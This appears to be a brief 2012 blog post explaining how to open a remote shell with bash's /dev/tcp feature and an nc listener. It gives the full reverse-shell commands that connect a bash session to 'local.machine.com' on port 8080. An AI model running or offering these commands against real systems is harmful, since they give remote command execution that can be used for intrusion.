tisdag 4 september 2012

Remote shell via bash /dev/tcp socket pipes

On the local machine, listen to a port with nc

nc -l 8080


On the remote machine, connect the tcp connection to a file descriptor, i.e. 4 and connect a bash to it that is using that file descriptor as input and output, and also send stderr to the pipe (it's easier if one can see the error messages).

exec 4<>/dev/tcp/local.machine.com/8080
bash <&4 >&4 2>&4

Now the local machine can issue commands on the remote machine.

Note that /dev/tcp is something that bash makes up, it is not in /dev.

Inga kommentarer:

Skicka en kommentar